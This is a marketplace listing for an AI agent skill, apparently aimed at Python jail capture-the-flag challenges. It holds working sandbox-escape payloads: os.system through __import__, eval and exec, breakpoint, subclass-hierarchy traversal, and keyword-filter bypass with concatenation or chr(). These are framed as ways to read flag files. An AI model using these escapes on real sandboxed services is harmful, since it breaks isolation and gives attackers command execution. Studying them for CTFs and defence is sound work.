# Pyjail

> Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges.

- Skill: `antgroup/pyjail` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add antgroup/pyjail`
- Raw SKILL.md: https://api.skillmd.com/api/skills/antgroup/pyjail/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: antgroup (https://skillmd.com/u/antgroup)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/antgroup/pyjail

---


# Python Jail Escape Skill

## Quick Workflow

```
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
```

## Quick Reference - Common Escapes

```python
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
```

## Reference Files

| Topic | Reference |
|-------|-----------|
| Bypass Techniques | [reference/bypass.md](reference/bypass.md) |
| Complete Payloads | [reference/payloads.md](reference/payloads.md) |

## Quick Debugging

```python
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
```

